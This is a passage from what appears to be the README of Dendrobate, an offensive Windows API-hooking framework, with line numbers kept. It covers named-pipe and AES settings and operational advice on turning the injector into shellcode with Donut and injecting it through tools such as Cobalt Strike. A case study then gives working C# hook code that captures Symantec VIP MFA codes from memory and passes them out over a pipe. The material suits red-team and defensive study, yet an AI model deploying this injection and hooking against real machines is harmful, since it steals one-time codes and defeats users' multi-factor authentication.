124 | [+] Dendron client connected
125 | |_ Function : KernelBase!CreateFileW
126 | |_ Data Type : String
127 | |_ Data :
128 |
129 | lpFileName -> C:\Users\b33f\AppData\Roaming\Microsoft\Windows\Network Shortcuts\desktop.ini
130 |
131 | [+] Dendron client connected
132 | |_ Function : KernelBase!CreateFileW
133 | |_ Data Type : String
134 | |_ Data :
135 |
136 | lpFileName -> C:\Users\b33f\AppData\Roaming\Microsoft\Windows\Network Shortcuts
137 |
138 | [...]
139 | ```
140 |
141 | ### Named Pipe Communication
142 |
143 | Both Dendron and Bates have some global variables which govern named pipe communications and AES. You can change those to taste, just make sure you replicate the changes in both components.
144 |
145 | ```c#
146 | // Globals
147 | //-----------
148 | public static String sDataPipe = "scerpcDSS"; // Sync in dendron & bates
149 | public static String sControlPipe = "MsFetWid"; // Sync in dendron & bates
150 | public static String sAESKey = "P8CuaPrgwBjunvZxJcgq"; // Sync in dendron & bates
151 | ```
152 |
153 | Of course if you use Dendron autonomously you can prevent it from creating a control pipe and ignore the data pipe & AES key.
154 |
155 | ## Operational Use
156 |
157 | ### Deploying Dendrobate
158 |
159 | Dendron generates an `exe`, you can turn this into PIC shellcode with [Donut](https://github.com/TheWover/donut) and use whichever shellcode injection tool you prefer to get it into the target (e.g. [UrbanBishop](https://github.com/FuzzySecurity/Sharp-Suite#urbanbishop) or CobaltStrike's shinject). For operational use, Bates can be executed using an `execute-assembly` style capability.
160 |
161 | ### Extending Dendrobate
162 |
163 | Dendrobate is a template framework which, in most simple cases, will do the job just fine. However, sometimes you will need to do some heavy lifting in-process; for example to manipulate data coming through hooked functions or to search that data. Consider for example [this](https://www.mdsec.co.uk/2021/01/breaking-the-browser-a-tale-of-ipc-credentials-and-backdoors/) post by [@_batsec_](https://twitter.com/_batsec_) on hooking Chrome IPC.
164 |
165 | Depending on performance considerations, you can pack additional libraries into either Dendron or Bates (for example [YaraSharp](https://github.com/stellarbear/YaraSharp)) and dynamically build out a tool to suite your specific use case.
166 |
167 | ## Case-Study: Defeating Local MFA
168 |
169 | Multi-Factor authentication (MFA) can be a very powerful tool to keep user accounts and applications safe; even when account credentials have been compromised by malicious actors. There is no straight-forward way for an attacker to gain access to transient secrets which rotate frequently, or is there?
170 |
171 | One commonly overlooked issue with MFA is that it cannot protect the user when the device (pc, phone, etc.) that receives the transient secret has been compromised. This may seem obvious but it is often overlooked as part of the threat model.
172 |
173 | ### Symantec VIP
174 |
175 | In this case-study we will use Dendrobate to extract MFA tokens from [Symantec VIP](https://vip.symantec.com/) entirely in memory. It is important to stress that this **is not a vulnerability** in VIP it is merely an illustration of the issue described above.
176 |
177 | When you launch VIP you are presented with a small UI, as show below.
178 |
179 | 
180 |
181 | ### Sensitive Data Discovery
182 |
183 | Reverse engineering the VIP binary (`VIPUIManager.exe`) is beyond the scope of this case-study. These types of applications, however, are typically small and can be analysed fairly quickly in a disassembler (such as [Ghidra](https://ghidra-sre.org/) or IDA) on a budget of one or two :coffee:'s. Note that a full understanding of the internal workings of the application is not required, only an idea of which functions may handle sensitive data.
184 |
185 | You can also leverage dynamic analysis tools (such as [API Monitor](http://www.rohitab.com/apimonitor)) both for exploration as well as to confirm your findings. In this case specifically I determined that the application was using [SetWindowTextW](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowtextw) to update window controls with new MFA tokens each time they refreshed. I then validated that assumption in API monitor.
186 |
187 | 
188 |
189 | ### POC Development
190 |
191 | In these types of cases I like to develop prototype hooking code using [Fermion](https://github.com/FuzzySecurity/Fermion) which uses [Frida](https://frida.re/) under the hood. This intermediate development stage may require a lot of tweaking and many iterations to become reliable and efficient. Using Frida allows for rapid development without a costly `..-recompile-test-recompile-..` lifecycle.
192 |
193 | In this case you can see the logic is fairly simple.
194 |
195 | 
196 |
197 | Any time `SetWindowTextW` is called and the `lpString` parameter is not empty then we know we either captured the MFA code or the ID. Since the MFA code is six characters in length we can easily distinguish between those two cases.
198 |
199 | ### Preparing Dendron
200 |
201 | Porting this logic to Dendron is easy, you can see the code for the function detour below.
202 |
203 | ```c#
204 | // Function Detours
205 | //-----------
206 | static private Boolean SetWindowTextWDetour(
207 | IntPtr hWnd,
208 | IntPtr lpString)
209 | {
210 | String sControlString = String.Empty;
211 | try
212 | {
213 | sControlString = Marshal.PtrToStringUni(lpString);
214 | if (sControlString.Length > 0)
215 | {
216 | hDendron.HOOKDAT oHook = new hDendron.HOOKDAT();
217 | oHook.sHookFunc = "User32!SetWindowTextW";
218 | oHook.iType = 0;
219 | if (sControlString.Length == 6)
220 | {
221 | oHook.sHookData = "[+] Security Code : " + sControlString;
222 | } else if (sControlString.Length > 6)
223 | {
224 | oHook.sHookData = "[+] Credential ID : " + sControlString;
225 | }
226 |
227 | // Send data to pipe
228 | hDendron.passHookDataByPipe(oHook);
229 | }
230 | } catch { }
231 |
232 | // Return to real function
233 | return API.SetWindowTextW(hWnd, lpString);
234 | }
235 | ```
236 |
237 | Once implemented we have to compile Dendron to match the architecture of the target application. In this case `VIPUIManager.exe` is `x86` so we compile a 32-bit version of Dendron. Finally we turn Dendron into shellcode using Donut.
238 |
239 | 
240 |
241 | ### Profit
242 |
243 | All that remains is to inject Dendron into `VIPUIManager.exe` and execute Bates to receive the MFA token from memory :fire::skull:¯\\_(ツ)_/¯..
244 |
245 | 
246 |
--------------------------------------------------------------------------------